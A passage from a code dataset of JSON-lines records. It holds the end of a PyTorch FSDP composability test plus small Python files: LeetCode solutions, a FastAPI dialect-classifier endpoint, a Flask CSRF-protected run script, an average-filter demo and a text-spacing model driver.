CompositeModel(device=torch.device(\"cuda\"))\n\n base_model = copy.deepcopy(model)\n\n test_model = copy.deepcopy(model)\n test_model.u1 = fully_shard(test_model.u1, policy=None)\n test_model.u2 = fully_shard(test_model.u2)\n\n test_model.u1.seq = checkpoint(test_model.u1.seq)\n test_model.u2.seq = checkpoint(test_model.u2.seq)\n\n self.run_subtests(\n {\n \"base_model\": [base_model],\n \"test_model\": [test_model],\n \"inp_size\": [torch.Size((2, 100))],\n \"inp_device\": [torch.device(\"cuda\")],\n \"grad_to_none\": [True, False],\n \"use_same_inputs_across_ranks\": [True],\n },\n self._test_parity,\n )\n\n @skip_if_lt_x_gpu(2)\n def test_checkpoint_fsdp_submodules_non_reentrant(self):\n self._test_checkpoint_fsdp_submodules()\n\n @skip_if_lt_x_gpu(2)\n def test_checkpoint_fully_shard_cast_forward_inputs(self):\n self.run_subtests(\n {\n \"checkpoint_strict_submodule\": [False, True],\n },\n self._test_checkpoint_fully_shard_cast_forward_inputs,\n )\n\n def _test_checkpoint_fully_shard_cast_forward_inputs(\n self, checkpoint_strict_submodule: bool\n ):\n forward_inputs: Dict[nn.Module, torch.Tensor] = {}\n fp16_mp = MixedPrecision(param_dtype=torch.float16, cast_forward_inputs=True)\n fp32_mp = MixedPrecision(param_dtype=torch.float32, cast_forward_inputs=True)\n\n model = SaveForwardInputsModel(\n forward_inputs=forward_inputs, cast_forward_inputs=False\n ).cuda()\n x = torch.zeros(2, 100, device=\"cuda\")\n\n fully_shard(model.c2, mixed_precision=fp16_mp)\n if checkpoint_strict_submodule:\n checkpoint(model.c2.l)\n else:\n checkpoint(model.c2)\n fully_shard(model, mixed_precision=fp32_mp)\n\n loss = model(x).sum()\n loss.backward()\n\n self.assertEqual(forward_inputs[model].dtype, torch.float32)\n self.assertEqual(forward_inputs[model.c1].dtype, torch.float32)\n # Notably, check that the recomputed forward preserves the right dtype\n self.assertEqual(forward_inputs[model.c2].dtype, torch.float16)\n\n @skip_if_lt_x_gpu(2)\n def test_fully_shard_replicate_correct_replicate_params(self):\n model = CompositeParamModel(device=torch.device(\"cuda\"))\n # Shard Linears within UnitModule\n fully_shard(model.u1, policy=ModuleWrapPolicy({nn.Linear}))\n fully_shard(model.u2, policy=ModuleWrapPolicy({nn.Linear}))\n # replicate the rest\n replicate(model)\n # Run fwd + bwd to initialize DDP\n inp = torch.randn(2, 100, device=\"cuda\")\n model(inp).sum().backward()\n # Ensure replicate param names are as expected, i.e.\n # immediate parameters of model and parameters of model's non-UnitModule\n # submodules are replicated\n param_names = replicate.state(model)._replicate_param_names\n replicated_modules = [\n (name, mod)\n for (name, mod) in model.named_children()\n if mod not in [model.u1, model.u2]\n ]\n replicated_param_names = [\n f\"{module_name}.{n}\"\n for module_name, mod in replicated_modules\n for n, _ in mod.named_parameters()\n ]\n replicated_param_names.extend(\n [n for n, _ in model.named_parameters(recurse=False)]\n )\n self.assertEqual(set(param_names), set(replicated_param_names))\n\n @skip_if_lt_x_gpu(2)\n def test_checkpoint_fsdp_submodules_with_param(self):\n model = CompositeParamModel(device=torch.device(\"cuda\"))\n\n base_model = copy.deepcopy(model)\n\n test_model = copy.deepcopy(model)\n test_model.u1.seq = checkpoint(test_model.u1.seq)\n test_model.u2.seq = checkpoint(test_model.u2.seq)\n test_model = fully_shard(test_model)\n\n self.run_subtests(\n {\n \"base_model\": [base_model],\n \"test_model\": [test_model],\n \"inp_size\": [torch.Size((2, 100))],\n \"inp_device\": [torch.device(\"cuda\")],\n \"grad_to_none\": [True, False],\n \"use_same_inputs_across_ranks\": [True],\n },\n self._test_parity,\n )\n\n @skip_if_lt_x_gpu(2)\n def test_checkpoint_fsdp_submodules_with_param_no_shard(self):\n model = CompositeParamModel(device=torch.device(\"cuda\"))\n\n base_model = copy.deepcopy(model)\n\n test_model = copy.deepcopy(model)\n test_model.u1.seq = checkpoint(test_model.u1.seq)\n test_model.u2.seq = checkpoint(test_model.u2.seq)\n test_model = fully_shard(test_model, strategy=ShardingStrategy.NO_SHARD)\n\n self.run_subtests(\n {\n \"base_model\": [base_model],\n \"test_model\": [test_model],\n \"inp_size\": [torch.Size((2, 100))],\n \"inp_device\": [torch.device(\"cuda\")],\n \"grad_to_none\": [True, False],\n \"use_same_inputs_across_ranks\": [True],\n },\n self._test_parity,\n )\n\n @skip_if_lt_x_gpu(2)\n def test_composable_fsdp_replicate(self):\n # Verify how the APIs can be composed, e.g. if both `fully_shard` and\n # `replicate` are applied on the same module, it should raise exception.\n model = CompositeModel(device=torch.device(\"cuda\"))\n fully_shard(model.l1)\n with self.assertRaisesRegex(AssertionError, \"Cannot apply .*replicate\"):\n replicate(model.l1)\n replicate(model.l2) # should not raise\n\n @skip_if_lt_x_gpu(2)\n def test_fully_shard_replicate_composability(self):\n \"\"\"\n Tests composing ``fully_shard`` and ``replicate``. To save unit test\n time, we run the different configs in subtests.\n \"\"\"\n self.run_subtests(\n {\n \"config\": [\n \"1fm,1r\",\n \"1r,1fm\",\n \"1r,1fa\",\n \"1r1fm,1fm\",\n \"1r1fa,1fm\",\n \"1fm1fm,1r1r,1fm\",\n ]\n },\n self._test_replicate_in_fully_shard,\n )\n\n def _test_replicate_in_fully_shard(self, config: str):\n \"\"\"\n To interpret the config, each comma delineates a level in the module\n tree ordered bottom-up; 'r' means ``replicate``; 'f' means\n ``fully_shard``; 'a' means auto wrap; and 'm' means manual wrap.\n \"\"\"\n # Set the seed to ensure that all ranks initialize the same model\n torch.manual_seed(0)\n if config == \"1fm,1r\":\n base_model = CompositeModel(device=torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n fully_shard(test_model.l1)\n replicate(test_model)\n elif config == \"1r,1fm\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n replicate(test_model.u1)\n fully_shard(test_model)\n elif config == \"1r,1fa\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n replicate(test_model.u1)\n fully_shard(test_model, policy=ModuleWrapPolicy({UnitModule}))\n elif config == \"1r1fm,1fm\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n replicate(test_model.u1)\n fully_shard(test_model.u2)\n fully_shard(test_model)\n elif config == \"1r1fa,1fm\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n replicate(test_model.u1)\n fully_shard(test_model.u2, policy=ModuleWrapPolicy({UnitModule}))\n fully_shard(test_model)\n elif config == \"1fm1fm,1r1r,1fm\":\n base_model = CompositeParamModel(torch.device(\"cuda\"))\n test_model = copy.deepcopy(base_model)\n fully_shard(test_model.u1.seq)\n fully_shard(test_model.u2.seq)\n replicate(test_model.u1)\n replicate(test_model.u2)\n fully_shard(test_model)\n else:\n raise ValueError(f\"Unknown config: {config}\")\n # Apply data parallelism to the base model for parity since we apply\n # data parallelism to the test model\n replicate(base_model)\n\n # Set the seed to ensure that ranks get different input data\n torch.manual_seed(self.rank + 1)\n self._test_parity(\n base_model,\n test_model,\n torch.Size((2, 100)),\n torch.device(\"cuda\"),\n True,\n False,\n )\n\n @skip_if_lt_x_gpu(2)\n def test_state_dict_fsdp_submodules(self):\n model = CompositeModel(device=torch.device(\"cuda\"))\n\n full_shard_args = {\"strategy\": ShardingStrategy.FULL_SHARD}\n no_shard_args = {\"strategy\": ShardingStrategy.NO_SHARD}\n\n model.u1 = fully_shard(model.u1, **full_shard_args)\n model.u2 = fully_shard(model.u2, **no_shard_args)\n\n FSDP.set_state_dict_type(\n model,\n StateDictType.SHARDED_STATE_DICT,\n )\n\n state_dict = model.state_dict()\n for fqn, tensor in state_dict.items():\n if \"u1\" in fqn:\n self.assertIsInstance(tensor, ShardedTensor)\n elif \"u2\" in fqn:\n self.assertIsInstance(tensor, torch.Tensor)\n # Ensure that get_state_dict_type can still correctly get the settings.\n _ = FSDP.get_state_dict_type(model)\n\n\ninstantiate_parametrized_tests(TestFSDPCheckpoint)\n\n\nif __name__ == \"__main__\":\n run_tests()\n","repo_name":"pytorch/pytorch","sub_path":"test/distributed/_composable/test_compose.py","file_name":"test_compose.py","file_ext":"py","file_size_in_byte":13335,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"26217239651","text":"# https://leetcode.com/problems/merge-similar-items/\nclass Solution:\n def mergeSimilarItems(self, items1: List[List[int]], items2: List[List[int]]) -> List[List[int]]:\n def collect(mm, items):\n for v, w in items:\n if v in mm:\n mm[v] += w\n else:\n mm[v] = w\n\n mm = {}\n collect(mm, items1)\n collect(mm, items2)\n ret = sorted(mm.items())\n\n return ret\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"algorithms/2001-2500/2363_merge-similar-items_1_AC.py","file_name":"2363_merge-similar-items_1_AC.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"} +{"seq_id":"25191889569","text":"# Set-ExecutionPolicy RemoteSigned\nimport joblib as joblib\nfrom fastapi import FastAPI\nimport uvicorn\nfrom preprocessing_fuctions import preprocess\n\napp = FastAPI()\n\n@app.get(\"/\")\ndef root():\n return {\"message\": \"Hello World\"}\n\n@app.get(\"/tweet/\")\nasync def dialect(tweet: str):\n tweet_proc = preprocess(tweet)\n tweet_tfidf = tfidf.transform([tweet_proc])\n tweet_clf = clf.predict(tweet_tfidf)\n pred = names[tweet_clf[0]]\n return {f'{tweet}': f'{pred}'}\n\nif __name__ == '__main__':\n tfidf = joblib.load('tfidf.pkl')\n clf = joblib.load('ML.pkl')\n names = {0: 'AE', 1: 'BH', 2: 'DZ', 3: 'EG', 4: 'IQ', 5: 'JO', 6: 'KW', 7: 'LB', 8: 'LY', 9: 'MA', 10: 'OM',\n 11: 'PL', 12: 'QA', 13: 'SA', 14: 'SD', 15: 'SY', 16: 'TN', 17: 'YE'}\n uvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"info\")\n\n #uvicorn main:app --reload\n #http://127.0.0.1:8000/docs\n","repo_name":"omnia100/Arabic_Dialects","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13984448323","text":"# LeetCode 241\n# https://leetcode.com/problems/different-ways-to-add-parentheses/\n\n\nclass Solution1:\n def __init__(self):\n import operator\n self.OPERATOR = {'+': operator.add, '-': operator.sub, '*': operator.mul}\n\n def diffWaysToCompute(self, input: str):\n if input.isdigit():\n return [int(input)]\n L = len(input)\n nums = []\n ops = []\n tmp = \"\"\n for i in range(L):\n c = input[i]\n if c not in \"*-+\":\n tmp += c\n else:\n ops.append(c)\n nums.append(int(tmp))\n tmp = \"\"\n nums.append(int(tmp))\n return self.DC(nums, ops)\n\n def DC(self, nums, ops):\n if len(nums) == 1:\n return nums\n res = []\n for i in range(len(nums)-1):\n left = self.DC(nums[:i+1], ops[:i])\n right = self.DC(nums[i+1:], ops[i+1:])\n\n for a in left:\n for b in right:\n res.append(self.OPERATOR[ops[i]](a, b))\n\n return res\n\n\nclass Solution2:\n def diffWaysToCompute(self, input: str, memo={}):\n if input.isdigit():\n return [int(input)]\n if input in memo:\n return memo[input]\n res = []\n for i in range(len(input)):\n c = input[i]\n if c in \"+-*\":\n left = self.diffWaysToCompute(input[:i], memo)\n right = self.diffWaysToCompute(input[i+1:], memo)\n res += [eval(str(k)+input[i]+str(j)) for k in left for j in right]\n memo[input] = res\n return res\n\n\nif __name__ == \"__main__\":\n # Solution1 seems faster than Solution2\n sol = Solution1()\n print(sol.diffWaysToCompute('2-1-1'))\n sol = Solution2()\n print(sol.diffWaysToCompute('2-1-1'))\n","repo_name":"PengchongLiu/Algorithms","sub_path":"w1_different-ways-to-add-parentheses.py","file_name":"w1_different-ways-to-add-parentheses.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31850640340","text":"#!/usr/bin/env python\n\n\"\"\"Serve the app's views on a webserver.\"\"\"\n\nimport os, string, random\nfrom flask import request, session\n\nfrom application import create_app\n\napp = create_app()\n\n\n# CSRF protection\n# Source: http://flask.pocoo.org/snippets/3/\n@app.before_request\ndef csrf_protect():\n \"\"\"Check on every POST form submit for a hidden CSRF PROTECT token.\"\"\"\n if request.method == \"POST\" and request.form:\n token = session.pop('_csrf_token', None)\n if not token or token != request.form.get('_csrf_token'):\n log = 'CSRF Protection blocked a POST request.'\n log += '\\nRequest was: ' + str(dict(request.form))\n log += '\\nResponded with error 403.'\n logging.warning(log)\n abort(403)\n\n\ndef generate_csrf_token():\n \"\"\"Return and store in session a random CSRF PROTECT token.\"\"\"\n if '_csrf_token' not in session:\n session['_csrf_token'] = get_random_string()\n return session['_csrf_token']\n\n\ndef get_random_string():\n \"\"\"Get a random string of 32 uppercase letters and digits.\"\"\"\n choice = string.ascii_uppercase + string.digits\n chars = [random.choice(choice) for x in xrange(32)]\n return ''.join(chars)\n\n\napp.jinja_env.globals['csrf_token'] = generate_csrf_token\n\n\nif __name__ == '__main__':\n app.secret_key = 'super secret key'\n app.debug = True\n app.run(port=8080)\n","repo_name":"Zinston/giftr","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16547074318","text":"'''\nDate : 2023-05-12\nE-mail : kyuwon416@gmail.com\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Define Average Filter Function with Recursion\ndef Average_Filter(measured, previous_average, iteration):\n if iteration == 0:\n avg = measured\n\n else:\n alpha = ((iteration + 1) - 1) / (iteration + 1)\n avg = alpha * previous_average + (1 - alpha) * measured\n\n return avg\n\n# Define Measured Voltage Value\ndef Get_Volt():\n noise = np.random.normal(0, 4, 1)\n true_value = 14.4\n measured_value = true_value + noise\n\n return measured_value\n\ntime_start = 0\ntime_end = 10\ndt = 0.2\ntime = np.arange(time_start, time_end, dt)\n\nn_samples = len(time)\n\nX_Measured_Saved = np.zeros(n_samples)\nX_Avg_Saved = np.zeros(n_samples)\n\nx_average = None\n\nfor i in range(n_samples):\n x_measured = Get_Volt()\n x_average = Average_Filter(x_measured, x_average, i)\n\n X_Measured_Saved[i] = x_measured\n X_Avg_Saved[i] = x_average\n\nplt.figure(figsize = (8, 5))\nplt.plot(time, X_Measured_Saved, 'b*--', markersize = 5, label = 'Measured')\nplt.plot(time, X_Avg_Saved, 'ro-', markersize = 5, label = 'Average')\nplt.legend(loc = 'best')\nplt.title('Average Filter', fontsize = 15)\nplt.ylabel('Volt[V]')\nplt.xlabel('Time[sec]')\nplt.show()","repo_name":"kyuwon416/Kalman_Filter_Python","sub_path":"01.Average_Filter/01_Average_Filter.py","file_name":"01_Average_Filter.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"874294857","text":"from utils import *\r\nfrom model import Model2\r\n\r\nif __name__ == '__main__':\r\n train_data = DataLoader('../data/trainX.txt', '../data/trainY.txt')\r\n test_data = DataLoader('../data/testX.txt', '../data/testY.txt')\r\n\r\n train_data.set_batch(100)\r\n test_data.set_batch(100)\r\n\r\n char_dic = CharDic([train_data])\r\n\r\n model = Model2(train_data=train_data,\r\n test_data=test_data,\r\n char_dic=char_dic,\r\n model_name='bilstm_crf_n3_e300_h2002')\r\n\r\n model.train()\r\n model.test()","repo_name":"luaperl/auto_spacing_with_tensorflow","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15118108479","text":"if __name__ == '__main__':\r\n length, question_count = map(int, input().split())\r\n\r\n string = input()\r\n ac_sums = [0]\r\n for i in range(1, len(string) + 1):\r\n if i > 1 and string[i - 2] == 'A' and string[i - 1] == 'C':\r\n ac_sums.append(ac_sums[i - 1] + 1)\r\n else:\r\n ac_sums.append(ac_sums[i - 1])\r\n\r\n for i in range(question_count):\r\n l, r = map(int, input().split())\r\n ans = ac_sums[r] - ac_sums[l - 1]\r\n if l > 1 and string[l - 1] == 'C' and string[l - 2] == 'A':\r\n ans -= 1\r\n print(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc122/C/4981351.py","file_name":"4981351.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"8211652022","text":"import csv\n\ncwb_filename = '107000129.csv'\ndata = []\nheader = []\nwith open(cwb_filename) as csvfile:\n mycsv = csv.DictReader(csvfile)\n header = mycsv.fieldnames\n for row in mycsv:\n data.append(row)\n\nstation = [ 'C0A880', 'C0F9A0', 'C0G640', 'C0R190', 'C0X260']\ntemp = []\nstation_max = []\ntarget_data = []\n\ndata = list(filter(lambda item: item['station_id'] in station, data))\n\nfor id in station:\n temp = list(filter(lambda item: item['station_id'] == id, data))\n temp = list(sorted(temp, key = lambda item: item['TEMP'], reverse = True))\n station_max.append(temp[0])\n\nfor t in station_max:\n if t['TEMP'] == '-99.000' or ['TEMP'] == '-999.000':\n target_data.append([t['station_id'], 'None'])\n else:\n target_data.append([t['station_id'], float(t['TEMP'])])\n\nprint(target_data)\n","repo_name":"jonathanku0313/HW1","sub_path":"hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38583570458","text":"#!/usr/bin/env python\n\nimport sys\n\nfrom PIL import ImageFont\n\nimport inkyphat\n\nprint(\"\"\"Inky pHAT: Hello... my name is:\n\nUse Inky pHAT as a personalised name badge!\n\n\"\"\")\n\n#inkyphat.set_rotation(180)\n\nUSAGE = \"\"\"Usage: {} \"\" \n Valid colours for v2 are: red, yellow or black\n Inky pHAT v1 is only available in red.\n\"\"\".format(sys.argv[0])\n\nif len(sys.argv) < 3:\n print(USAGE)\n sys.exit(1)\n\ncolour = sys.argv[2]\n\ntry:\n inkyphat.set_colour(colour)\nexcept ValueError:\n print('Invalid colour \"{}\" for V{}\\n'.format(sys.argv[2], inkyphat.get_version()))\n if inkyphat.get_version() == 2:\n print(USAGE)\n sys.exit(1)\n print('Defaulting to \"red\"')\n\n# Show the backdrop image\n\ninkyphat.set_border(inkyphat.RED)\ninkyphat.set_image(\"resources/hello-badge.png\")\n\n# Partial update if using Inky pHAT display v1\n\nif inkyphat.get_version() == 1:\n inkyphat.show()\n\n# Add the text\n\nfont = ImageFont.truetype(inkyphat.fonts.AmaticSCBold, 38)\n\nname = sys.argv[1]\n\nw, h = font.getsize(name)\n\n# Center the text and align it with the name strip\n\nx = (inkyphat.WIDTH / 2) - (w / 2)\ny = 71 - (h / 2)\n\ninkyphat.text((x, y), name, inkyphat.BLACK, font)\n\n# Partial update if using Inky pHAT display v1\n\nif inkyphat.get_version() == 1:\n inkyphat.set_partial_mode(56, 96, 0, inkyphat.WIDTH)\n\ninkyphat.show()\n","repo_name":"pimoroni/inky-phat","sub_path":"examples/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"72"} +{"seq_id":"70450602473","text":"'''\nBaseline feedforward neural network for teaching purpose.\n'''\n#--- THIS INDICATES A TODO ---#\n\n#--- We should remove numpy ---#\nimport numpy\nfrom numpy import random\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_breast_cancer\nfrom sklearn.metrics import roc_auc_score\n\nimport logging\nimport time\n\nlogging.basicConfig(level=logging.INFO,format=\"[%(asctime)s %(levelname)s] %(message)s\")\n\n\n# diagonastic printer (use: diprint(STRING,User_check))\ndef diprint(S, bol):\n if bol == \"Y\" or bol == \"y\":\n print(S)\n elif bol == 'n' or bol == None:\n pass\n\n\n# collection of Activation functions.\nclass activation:\n def sigmoid(x, D):\n if D is False:\n return 1. / (1. + numpy.exp(-x))\n if D is True:\n return((1.- activation.sigmoid(x,False)) * activation.sigmoid(x,False))\n\n def RMS(y, p, D):\n if D is False:\n return .5*(y - p)**2\n if D is True:\n return (y - p)\n\n# normalization styles]\nclass normalization:\n def minmax(self,data,b=1.,a=-1.):\n return (b - a) * (data - numpy.min(data)) / (numpy.max(data) - numpy.min(data)) - a\n def mean(self,data,b=1.,a=-1.):\n return (b - a) * (data - numpy.mean(data)) / (numpy.max(data) - numpy.min(data)) - a\n def standard(self,data):\n return (data - numpy.mean(data))/numpy.std(data)\n\n# Performance of a net based off an desired AUC score\nnet_performance = lambda time,auc,loss: (time+1.)**(numpy.e**((.95-auc)*10.+loss))\n\n# Forward feed on the network ---------->\ndef forward(X, weights_1, weights_2):\n\n # X ---> X * W0 --sig--> z1 ---> z1 * W2 --sig--> z2\n\n # Calculate the Sum of the inputs an the hidden weights\n hidden_inputs = numpy.dot(weights_1, numpy.transpose(X))\n diprint(\"Hidden inputs: \" + str(hidden_inputs), User_check)\n\n # Calculate the signals emerging from hidden layer\n hidden_outputs = activation.sigmoid(hidden_inputs, False)\n diprint(\"Hidden outputs: \" + str(hidden_outputs), User_check)\n\n # Calculate the Sum of the hidden layer an the output weights\n final_inputs = numpy.dot(weights_2, hidden_outputs)\n # Calcuate the signals emerging from final output layer\n final_outputs = activation.sigmoid(final_inputs, False)\n\n return final_outputs, final_inputs, hidden_outputs, hidden_inputs\n\n\n# Backpropagation <----------\ndef backwards(X, Y, final_outputs, final_inputs, hidden_outputs, hidden_inputs, weights_2, weights_1):\n\n diprint(\"Shape of X: \" + str(numpy.shape(X)), User_check)\n diprint(\"Shape of weights_1: \" + str(numpy.shape(weights_1)), User_check)\n diprint(\"Shape of hidden_outputs: \" + str(numpy.shape(hidden_outputs)), User_check)\n diprint(\"Shape of weights_2: \" + str(numpy.shape(weights_2)), User_check)\n diprint(\"Shape of final_outputs: \" + str(numpy.shape(final_outputs)), User_check)\n diprint(\"Shape of Y: \" + str(numpy.shape(Y)), User_check)\n\n # Differences between truth and found.\n output_errors = activation.RMS(Y, final_outputs.T, True)\n\n # Chain rule to get the output delta.\n output_delta = numpy.multiply(output_errors,\n numpy.transpose(activation.sigmoid(final_inputs, True)))\n\n # Backpropagation to hidden errors.\n hidden_errors = numpy.dot(output_delta, weights_2)\n\n # Chain rule to get hidden delta.\n hidden_delta = numpy.multiply(hidden_errors,\n numpy.transpose(activation.sigmoid(hidden_inputs, True)))\n\n # Update the weights.\n weights_1 += lr * numpy.dot(hidden_delta.T, X)\n weights_2 += lr * numpy.dot(hidden_outputs, output_delta).T\n\n return weights_1, weights_2 # Return the updated weights.\n\n### USER MENU ###\n\n# Ask user if they would like to print\n# all the shapes.\ndef_params = input(\"Run defaults? \")\n\nif def_params != \"y\" and def_params != \"Y\":\n User_check = input(\"Print diagnostics (Y/n)? \")\n make_plots = input(\"Make plots (Y/n)? \")\n epochs = int(input(\"Epochs: \"))\n lr = float(input(\"Learning Rate: \"))\n batch_size = int(input(\"Batch size: \"))\n\n early_stop = input(\"Early stopping (Y/n)? \")\n if early_stop == \"y\" or early_stop == \"Y\":\n early_stop = float(input(\"% Loss change threshold: \"))\n early_stop = early_stop / 100.\n tolerance = int(input(\"Epochs tolerance: \"))\n else:\n early_stop = 0.0\n tolerance = 0.0\nelse:\n User_check = \"n\"\n make_plots = \"y\"\n epochs = 20\n lr = .1\n batch_size = 32\n early_stop = 0.0\n tolerance = 0.0\n#################\n\n# Load the data.\ndata = load_breast_cancer()\nmy_data = data.data\ntargets = data.target\n\n# Set the number of events.\nevents = 500\n\n# Calculate the number of batches.\nn_batches = int(events / batch_size)\n\n# Build the data and the targets\nX = my_data[:events]\nY = targets[:events]\n\n#--- could we use a transpose here? --#\nY = numpy.reshape(Y, (events, 1))\n\ndiprint(numpy.shape(X), User_check)\ndiprint(numpy.shape(Y), User_check)\n\nlayer_1 = 100 # Layer_1 number of nodes.\nlayer_2 = 1 # Layer_2 number of nodes.\n\n# Build the weights for the layers (random to start)\nweights_1 = numpy.random.normal(0.0, numpy.sqrt(2. / (30 + layer_1)), (layer_1, 30))\nweights_2 = numpy.random.normal(0.0, numpy.sqrt(2. / (layer_1 + layer_2)), (layer_2, layer_1))\n\n# List to contain loss values\nmetrics = {\"loss\":[],\"acc\":[],\"auc\":[]}\n\nes_count = 0\nloss_temp = 0\n\nt1 = time.time()\n\n# Loop over the epochs.\nfor e in range(epochs):\n\n outputs = numpy.empty(0)\n\n # Loop over the batches.\n for b in range(n_batches):\n\n diprint(\"We are on batch \" + str(b), User_check)\n diprint(\"The batch size is \" + str(batch_size), User_check)\n\n b_start = b * batch_size # Start index for the batch.\n b_end = (b + 1) * batch_size # End index for the batch.\n\n X_batch = X[b_start:b_end] # Array of batch size from training data.\n\n # Normalize the batch\n X_batch = normalization.standard(X_batch)\n\n # Send the data through the network forward -->\n final_outputs, final_inputs, hidden_outputs, hidden_inputs = forward(X_batch, weights_1, weights_2)\n\n # Send the errors backward through the network <--\n weights_1, weights_2 = backwards(X_batch,\n Y[b_start:b_end], final_outputs, final_inputs,\n hidden_outputs, hidden_inputs, weights_2, weights_1)\n\n outputs = numpy.append(outputs, final_outputs)\n\n outputs = numpy.reshape(outputs, (len(outputs), 1))\n\n metrics[\"loss\"].append(numpy.round(numpy.mean(activation.RMS(Y[:len(outputs)], outputs, False)),4))\n metrics[\"acc\"].append(numpy.round(numpy.mean(numpy.equal(Y[:len(outputs)],numpy.round(outputs))),4))\n metrics[\"auc\"].append(numpy.round(roc_auc_score(Y[:len(outputs)], outputs),4))\n if(e%(epochs*.1)==0):\n logging.info(\" Epoch: \"+str(e+1)+\" Loss: \"+str(metrics[\"loss\"][e])+\" Acc: \"+str(metrics[\"acc\"][e])+\" AUC: \"+str(metrics[\"auc\"][e]))\n if e > 0:\n if numpy.abs(1. - (metrics[\"loss\"][e]/metrics[\"loss\"][e-1])) < early_stop:\n if es_count < tolerance:\n es_count += 1\n loss_temp += numpy.abs(1.-(metrics[\"loss\"][e]/metrics[\"loss\"][e-1]))\n else:\n logging.info(\" Epoch: \"+str(e)+\" Stopping Early!\")\n logging.info(\" Averge loss change of \"+str(numpy.round(100.*loss_temp/es_count,2))+\"% over \"+str(es_count)+\" consecutive epochs is below required threshold of \"+str(early_stop*100))\n break\n else:\n es_count = 0\n loss_temp = 0\nlogging.info(\" Final - Loss: \"+str(metrics[\"loss\"][len(metrics[\"loss\"])-1])+\" Acc: \"+str(metrics[\"acc\"][len(metrics[\"acc\"])-1])+\" AUC: \"+str(metrics[\"auc\"][len(metrics[\"auc\"])-1]))\nlogging.info(\" Run time: \"+str(numpy.round(time.time()-t1,2)))\nlogging.info(\" Performance for .95 AUC Score: \"+str(net_performance(time.time()-t1,metrics[\"auc\"][len(metrics[\"auc\"])-1],metrics[\"loss\"][1]-metrics[\"loss\"][len(metrics[\"loss\"])-1])))\ndiprint(numpy.shape(weights_1), User_check)\ndiprint(numpy.shape(weights_2), User_check)\n\nif make_plots == \"y\" or make_plots == \"Y\":\n fig, ax1 = plt.subplots()\n ax1.plot(numpy.arange(len(metrics[\"loss\"])-1),normalization.minmax(metrics[\"loss\"][1:],1.,0.),color='blue')\n ax1.set_xlabel('Epochs')\n\n ax1.set_ylabel(\"Loss (Normed)\", color='b')\n ax1.tick_params('y', colors='b')\n\n ax2 = ax1.twinx()\n\n ax2.plot(numpy.arange(len(metrics[\"acc\"])-1),metrics[\"acc\"][1:],color='green')\n ax2.set_ylabel('Acc', color='g')\n ax2.tick_params('y', colors='g')\n #ax2.set_ylim(0.,1.)\n\n fig.tight_layout()\n plt.show()\n\n sh,_,_=plt.hist(outputs[numpy.where(Y[:len(outputs)]==1)],bins=10,alpha=.5,color='red')\n bh,_,_=plt.hist(outputs[numpy.where(Y[:len(outputs)]==0)],bins=10,alpha=.5,color='blue')\n plt.xlabel('Network Response')\n plt.ylabel('Density')\n plt.show()\n","repo_name":"bforland/pure_python_ml","sub_path":"toy_nets/Batch_QoL_AnB.py","file_name":"Batch_QoL_AnB.py","file_ext":"py","file_size_in_byte":8659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39014987184","text":"from typing import Dict\nimport requests\n\nfrom pipeline import create_folder\n\nfrom helpers.files import read_json, write_json\n\n\ndef create_folder_structure(**kwargs) -> Dict:\n \"\"\"\n This function creates the folder structure used by the pipeline.\n \n Args:\n **kwargs: Arbitrary keyword arguments.\n \n Returns:\n Dict: A dictionary of action outputs.\n \n Keyword Args:\n verbose (bool): Whether to print verbose output.\n output_path (str): The output folder.\n config (dict): The config dictionary.\n \"\"\"\n verbose = kwargs['verbose']\n output_path = kwargs['output_path']\n config = kwargs['config']\n\n i = 0\n for folder in ['images/positions/page', 'images/positions/card', 'images/entropy', 'polymorphisms/loci', 'polymorphisms/allele_group']:\n create_folder(f\"{output_path}/{folder}\", verbose)\n i += 1\n\n action_output = {\n 'folders_created': i\n }\n\n return action_output","repo_name":"histofyi/positions_pipeline","sub_path":"steps/create_folder_structure.py","file_name":"create_folder_structure.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13191896494","text":"from _class import *\nfrom _utils import prepare_data\n\n\ndef main():\n DATAPATH = 'data/train.csv'\n X_TRAIN, Y_TRAIN, X_TEST, Y_TEST, MAX_WORD_FEATURE, SEQUENCE_MAX_LEN, TOKENIZER = 